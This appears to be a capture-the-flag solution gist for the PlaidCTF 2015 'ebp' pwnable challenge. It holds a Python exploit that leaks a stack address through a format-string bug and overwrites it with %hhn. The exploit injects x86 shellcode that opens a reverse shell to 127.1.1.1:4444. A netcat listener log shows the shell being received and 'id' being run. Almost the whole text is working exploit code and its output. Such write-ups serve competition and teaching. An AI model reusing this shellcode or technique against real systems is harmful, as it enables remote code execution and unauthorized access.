PlaidCTF 2015 ebp (pwnable 160) / https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/ebp

gistfile1.txt

$ nc -v -l 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 34901)
id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

solve.py

from subprocess import Popen, PIPE

# reverse shell (127.1.1.1:4444)
shellcode = '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80'

p = Popen(['./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf'], stdin=PIPE, stdout=PIPE)
p.stdin.write('%4$p\n')
data = p.stdout.readline().strip()
last_byte = int(data, 16) & 0xFF
buf = shellcode
buf += "%%%dc%%4$hhn" % (last_byte+4-len(buf))
p.stdin.write(buf+'\n')
p.stdout.readline()
p.stdin.close()
p.wait()